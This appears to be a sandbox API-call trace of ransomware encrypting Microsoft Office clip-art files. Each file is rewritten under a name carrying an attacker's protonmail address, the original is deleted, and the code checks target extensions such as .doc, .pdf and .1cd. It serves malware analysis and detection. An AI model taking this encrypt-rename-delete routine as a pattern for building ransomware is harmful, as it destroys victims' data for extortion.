	[0193.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.652] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=10364) returned 1
	[0193.652] CloseHandle (hObject=0x4ac) returned 1
	[0193.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220
	[0193.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.653] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.654] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0193.971] GetLastError () returned 0x0
	[0193.971] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x287c, lpOverlapped=0x0) returned 1
	[0193.978] WriteFile (in: hFile=0x5d0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2880, lpOverlapped=0x0) returned 1
	[0193.980] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.980] WriteFile (in: hFile=0x5d0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.980] SetEndOfFile (hFile=0x5d0) returned 1
	[0193.980] CloseHandle (hObject=0x5d0) returned 1
	[0193.980] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.980] SetEndOfFile (hFile=0x4ac) returned 1
	[0193.984] CloseHandle (hObject=0x4ac) returned 1
	[0193.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1
	[0193.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.985] lstrlenW (lpString=".doc") returned 4
	[0193.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.986] lstrlenW (lpString=".docx") returned 5
	[0193.986] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.986] lstrlenW (lpString=".pdf") returned 4
	[0193.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.986] lstrlenW (lpString=".xls") returned 4
	[0193.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.986] lstrlenW (lpString=".xlsx") returned 5
	[0193.986] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.986] lstrlenW (lpString=".ppt") returned 4
	[0193.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.986] lstrlenW (lpString=".zip") returned 4
	[0193.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.987] lstrlenW (lpString=".rar") returned 4
	[0193.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.987] lstrlenW (lpString=".bz2") returned 4
	[0193.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.987] lstrlenW (lpString=".7z") returned 3
	[0193.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.987] lstrlenW (lpString=".dbf") returned 4
	[0193.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.987] lstrlenW (lpString=".1cd") returned 4
	[0193.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.987] lstrlenW (lpString=".jpg") returned 4
	[0193.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.987] lstrlenW (lpString=".doc") returned 4
	[0193.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.987] lstrlenW (lpString=".docx") returned 5
	[0193.987] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.987] lstrlenW (lpString=".pdf") returned 4
	[0193.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.987] lstrlenW (lpString=".xls") returned 4
	[0193.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.988] lstrlenW (lpString=".xlsx") returned 5
	[0193.988] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.988] lstrlenW (lpString=".ppt") returned 4
	[0193.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.988] lstrlenW (lpString=".zip") returned 4
	[0193.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.988] lstrlenW (lpString=".rar") returned 4
	[0193.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.988] lstrlenW (lpString=".bz2") returned 4
	[0193.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.988] lstrlenW (lpString=".7z") returned 3
	[0193.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.988] lstrlenW (lpString=".dbf") returned 4
	[0193.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.988] lstrlenW (lpString=".1cd") returned 4
	[0193.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0193.988] lstrlenW (lpString=".jpg") returned 4
	[0193.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.988] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.988] lstrlenW (lpString="J0105710.WMF") returned 12
	[0193.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.990] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=13808) returned 1
	[0193.990] CloseHandle (hObject=0x4ac) returned 1
	[0193.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220
	[0193.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.990] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.990] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0193.991] GetLastError () returned 0x0
	[0193.991] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x35f0, lpOverlapped=0x0) returned 1
	[0194.005] WriteFile (in: hFile=0x5d0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3600, lpOverlapped=0x0) returned 1
	[0194.007] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.007] WriteFile (in: hFile=0x5d0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.007] SetEndOfFile (hFile=0x5d0) returned 1
	[0194.007] CloseHandle (hObject=0x5d0) returned 1
	[0194.007] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.007] SetEndOfFile (hFile=0x4ac) returned 1
	[0194.011] CloseHandle (hObject=0x4ac) returned 1
	[0194.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1
	[0194.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.013] lstrlenW (lpString=".doc") returned 4
	[0194.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.013] lstrlenW (lpString=".docx") returned 5
	[0194.013] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.013] lstrlenW (lpString=".pdf") returned 4
	[0194.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.013] lstrlenW (lpString=".xls") returned 4
	[0194.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.013] lstrlenW (lpString=".xlsx") returned 5
	[0194.013] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.013] lstrlenW (lpString=".ppt") returned 4
	[0194.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.013] lstrlenW (lpString=".zip") returned 4
	[0194.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.013] lstrlenW (lpString=".rar") returned 4
	[0194.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.014] lstrlenW (lpString=".bz2") returned 4
	[0194.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.014] lstrlenW (lpString=".7z") returned 3
	[0194.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.014] lstrlenW (lpString=".dbf") returned 4
	[0194.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.014] lstrlenW (lpString=".1cd") returned 4
	[0194.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.014] lstrlenW (lpString=".jpg") returned 4
	[0194.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.014] lstrlenW (lpString=".doc") returned 4
	[0194.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.014] lstrlenW (lpString=".docx") returned 5
	[0194.014] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.014] lstrlenW (lpString=".pdf") returned 4
	[0194.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.014] lstrlenW (lpString=".xls") returned 4
	[0194.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.014] lstrlenW (lpString=".xlsx") returned 5
	[0194.014] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.014] lstrlenW (lpString=".ppt") returned 4
	[0194.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.015] lstrlenW (lpString=".zip") returned 4
	[0194.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.015] lstrlenW (lpString=".rar") returned 4
	[0194.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.015] lstrlenW (lpString=".bz2") returned 4
	[0194.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.015] lstrlenW (lpString=".7z") returned 3
	[0194.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.015] lstrlenW (lpString=".dbf") returned 4
	[0194.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.015] lstrlenW (lpString=".1cd") returned 4
	[0194.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0194.015] lstrlenW (lpString=".jpg") returned 4
	[0194.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.015] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.015] lstrlenW (lpString="J0105846.WMF") returned 12
	[0194.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.025] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=8240) returned 1
	[0194.025] CloseHandle (hObject=0x5d8) returned 1
	[0194.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220
	[0194.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.029] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.029] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.030] GetLastError () returned 0x0
	[0194.030] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2030, lpOverlapped=0x0) returned 1
	[0194.032] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2040, lpOverlapped=0x0) returned 1
	[0194.033] ReadFile (in: hFile=0x5d8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.033] WriteFile (in: hFile=0x5dc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.033] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.033] CloseHandle (hObject=0x5dc) returned 1
	[0194.034] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.034] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.415] CloseHandle (hObject=0x5d8) returned 1
	[0194.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1
	[0194.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.417] lstrlenW (lpString=".doc") returned 4
	[0194.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.417] lstrlenW (lpString=".docx") returned 5
	[0194.417] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.417] lstrlenW (lpString=".pdf") returned 4
	[0194.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.417] lstrlenW (lpString=".xls") returned 4
	[0194.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.417] lstrlenW (lpString=".xlsx") returned 5
	[0194.417] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.417] lstrlenW (lpString=".ppt") returned 4
	[0194.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.417] lstrlenW (lpString=".zip") returned 4
	[0194.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.417] lstrlenW (lpString=".rar") returned 4
	[0194.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.417] lstrlenW (lpString=".bz2") returned 4
	[0194.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.417] lstrlenW (lpString=".7z") returned 3
	[0194.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.417] lstrlenW (lpString=".dbf") returned 4
	[0194.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.418] lstrlenW (lpString=".1cd") returned 4
	[0194.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.418] lstrlenW (lpString=".jpg") returned 4
	[0194.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.418] lstrlenW (lpString=".doc") returned 4
	[0194.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.418] lstrlenW (lpString=".docx") returned 5
	[0194.418] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.418] lstrlenW (lpString=".pdf") returned 4
	[0194.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.418] lstrlenW (lpString=".xls") returned 4
	[0194.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.418] lstrlenW (lpString=".xlsx") returned 5
	[0194.418] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.418] lstrlenW (lpString=".ppt") returned 4
	[0194.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.418] lstrlenW (lpString=".zip") returned 4
	[0194.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.418] lstrlenW (lpString=".rar") returned 4
	[0194.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.418] lstrlenW (lpString=".bz2") returned 4
	[0194.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.418] lstrlenW (lpString=".7z") returned 3
	[0194.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.419] lstrlenW (lpString=".dbf") returned 4
	[0194.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.419] lstrlenW (lpString=".1cd") returned 4
	[0194.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0194.419] lstrlenW (lpString=".jpg") returned 4
	[0194.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.419] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.419] lstrlenW (lpString="J0106208.WMF") returned 12
